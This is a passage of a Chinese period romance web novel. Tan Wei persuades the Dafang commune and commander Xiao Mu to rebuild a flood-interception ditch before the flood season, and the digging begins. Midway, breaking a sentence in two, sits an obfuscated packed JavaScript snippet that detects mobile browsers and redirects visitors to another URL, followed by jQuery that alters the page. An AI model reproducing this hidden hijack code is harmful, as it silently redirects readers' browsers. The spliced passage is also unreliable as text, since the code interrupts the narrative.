截洪沟。
堤坝前的重要防线,可以帮大方水坝排掉许多的位压力。
“这个好像是,建水坝的时候挖的什么沟,但是后来挖了一半,就没弄了。”方书记不太肯定地回答。
还是一旁的老周补充道,“是截洪沟,只不过大方水坝建到后来水利局的资金不足了。专家们又说大方水坝的防汛压力不大,于是就没继续挖了。”
“那原本有规划备用泄洪区吗?”谭薇继续追问。
老周点点头,给她指了一个方向,“就在那边。”
谭薇顺着老周的手指方向再次举起望远镜。很好!她一看就放心了许多,这个备用的泄洪区选得很好,地势低洼,又远离村民和农田。
于是她立刻放下望远镜,对着众人说,“我们必须重建截洪沟。”
这一次却轮到方书记强烈反对了,“这,这不行啊。现在阿拉捕捞压力大得很。没那么多人手给你啊。”
方书记连连摆手,“小谭同志,我知道你的本意是好的,但咱们大方公社确实有现实的困难。挖沟这件事太累了,妇女们干不了,壮劳力我也不可能让他们不生产了啊。”
老周也在一边说,“这个没有必要吧。咱们大方水坝的库容量可是很大的,往年汛期的水位根本达不到警戒线。”
“你看看,老周都说了。”方书记立刻像找到了同盟,“小谭同志,我看挖防洪沟这件事,着实没什么必要吧。”
“方书记。周师傅,你们听我说。截洪沟可以帮助分摊水坝主体的压力。咱们大方堤坝建造时间很长了。如果今年的汛期长,水位压力大的话,堤坝主体很有可能出问题的。”谭薇耐心地跟他们解释道。事实上,在书里,大方堤坝就是出了大问题。
堤坝决堤,大方公社和下游的村落都在一瞬间直面奔腾而至的洪水,多少人丢了性命。
虽然那本年代文里面只是略微提了一句,“甚至有一些公社,整个被洪水席卷,不知道多少人葬身大水之中。”但是谭薇看着眼前的社员们,无论方书记周师傅,还是其他跟着的社员,那都是一张张风吹雨打的脸。他们劳作了一辈子,辛苦了一辈子,种地捕鱼,最后却都被这一场洪水给带走了。
这些都是活生生的人啊。她怎么可能眼看着他们丢了性命。
但是谭薇这样看起来没什么根据的话怎么可能轻易说服方书记他们。跟来的社员们和他们的书记想法一样,防汛小组的组员们则是支持谭薇。大家在大坝上面争论了许久还是没有得到一个共识。
大家七嘴八舌的,一边说生产任务要紧,一边说难道人生安全不要紧吗。吵了得有一刻钟吧,肖穆开口了,“好了,各位,大家都有自己的想法。现在看来一时难以达到共识了。不如我们先下去,再正式上个会讨论这件事吧。”
他说得有道理,大家都同意了。于是所有人又沿着堤坝走了一圈,检查完剩余的部分,跟着就都坐到了军队驻地的办公室里。
方书记正要开口说什么,肖穆又是一挥手,“方书记,大家巡视了一个上午,都饿了吧。不嫌弃的话就在我们这里吃午饭吧。”
“这怎么好意思呢。”
“就这么定了。”肖穆抬手止住了他的客套,又冲着警卫小路道,“小路,叫大刘师傅中午给添个肉菜。”
“是,团长。”
小路带着方书记他们走在前头,谭薇刻意落后两步,走在肖穆旁边,低声问他,“你是什么想法?”
肖穆看她一眼,没立刻回答。
今天的谭薇着实让他十分惊艳。他一开始只以为她有想法,没想到她竟然在水利这方面这么专业。检查堤坝主体缝隙,排水沟,安排清理杂草、淤泥,所有的事都说到了点子上,连父子两代人扑在这大坝上的周师傅都服了她。
实在是……肖穆想起在大坝上,被所有人注视着的谭薇,那样的侃侃而谈,那样的自信夺目。
“你对水利怎么这么了解?”肖穆没直接回答谭薇的话,而是问了这样一句话。
谭薇心里咯噔一下,她忘了这个时代不是后世,没有发达的信息渠道,大部分人甚至连常识都十分匮乏了。她后世也不是做水利工作的,但她看过几个相关的纪录片,又很喜欢这方面的内容,所以刻意了解过。不过,怎么跟肖穆解释呢。
“我不是跟你说过,我有几个在海城大学搞水利的同学吗,知道今年可能会强降水之后,我找他们请教过。”
好在,现在的人对所谓的大学生有一种迷之滤镜,可以全推给他们。
肖穆低下眼。是啊,谭薇一直念到高中,也一直想着要考大学,她还有许多大学的同学。肖穆记起那天谭薇对自己说的那些话,“你读过哪些书,你了解多少学科……”
“怎么又不说话了?”
衣袖突然被拽了一下,肖穆就看到谭薇正关切地看着他,见他终于抬头,谭薇还小心地看了一眼前面走着的人,见没人注意到他们俩,谭薇才凑到他耳边,“你到底怎么想的,支不支持我?”
好吧。起码现在,我们合舟共济。
不过她过往是怎么想的,读过多少书。也许我们的差距确实存在,但起码现在,我们都是为了大方公社的防汛工作在努力。
肖穆突然就感觉心中一些一直难以消去的块垒就这么消失了。
但他也没有直接表示支持谭薇,他一脸严肃地,“防汛是一件严肃的事情,我不能因为私人的感情就偏向谁。”
谭薇却突然脸一红,“谁跟你有私人的感情啦。”
她瞪了一眼他,就跑到了前面去。
那一眼,水波潋滟,肖穆直接被她瞪在了原地。
“团长,团长,你咋不走了。”
小路注意到肖穆停在了原地,立马跑到他身边来,“是不是有啥事。”
“没有没有。”肖穆连忙恢复一脸严肃,打发了小路。
“你怎么和肖团长走那么近。”另一边,却是刘铁花抓住又跑回她身边的谭薇。她推推谭薇的肩膀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049814|194426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挤挤眼睛,“还说悄悄话。”
谭薇只觉得自己的脸还有些发烫,被刘铁花这么一说,更是不由得有点不自在,但她立刻义正言辞,“什么悄悄话,我本来是想问问肖团长支持谁的。”
“那肖团长支持谁啊。”刘铁花果然被她带着走了。
“他不肯表态。估计还得咱们和方书记再好好地做好思想工作才行。这个得靠你了,铁花。你得给他们说清楚咱们防汛工作的高度,说服他们配合。”谭薇这么说道。
她不能一个人跟整个大方公社去battle,毕竟修建截洪沟确实是个很艰难的工程。如果只有她一个人冲在前面,那么后面难保防汛小组内部不会出现反对的声音。必须让大家都坐上同一条船,这样争论的时候,你也发言表态了,就不能再在后面唱反调了吧。
……
众人吃完午饭后,再次坐到一起商议防汛工作的事情。
公社和防汛小组还是吵得不可开交。
“既然公社说生产任务不能耽误,那我们就不要求壮劳力参与我们的防汛工作了。但是公社也不能阻拦愿意来参与劳动的社员过来,书记您看这样没问题吧。”
最终防汛小组也只是争取到了闲散劳力的参与。
但是好消息是,肖穆最后表态了,军队会派出一支二十人小分队参与截洪沟的建设。
“有军人参与就好办了。咱们一定能在汛期来临之前把这个截洪沟建起来。”
虽然没能争取到全员建设,但起码目前的人手还是足以把截洪沟建起来的,防汛小组的众人都十分振奋。谭薇也有闲心开玩笑了,她看一眼刘铁花,“刘同志啊,刚刚肖团长可是说了这二十个人归你领导。怎么样。做好准备了吗。可以做好领导工作吗?”
“那当然。”刘铁花挺起胸膛,自信地一挥手,“革命工作千千万,我刘铁花也是领导过好几项工作的啦。”
“可不。我们刘姐在市委那也是出了名的哈哈哈哈哈哈。”
“那是,办公室刘姐,谁不知道。”
“谁不害怕?”
“你这臭小子。”
众人笑成一团。
第二天,截洪沟正式开挖。
先要清理之前挖的半拉截洪沟的积水。刘铁花问了方书记,借来一台手摇式的抽水机,但这机器年代实在太久远了,工作一会就过热,然后就得歇歇,效率还不如大家拿盆舀水呢。
再则,积水好清理,淤泥却着实不好处理。
“咱们这样不行啊。一个半天就干了这么点,我还以为清理这个工作半天就可以完成了。”中午休息的时候,刘铁花皱着眉坐到谭薇身边,愁得连饭都吃不下了。
谭薇也为这事发愁。但她只有一些战略性的想法,要论实践,她可能还不如从小参与劳动的刘铁花呢。
两人四目相对,一起叹了口气。
“要挖淤泥是不。像你们这样干,要干到猴年马月去。”突然插话的周师傅吓了谭薇和刘铁花一跳。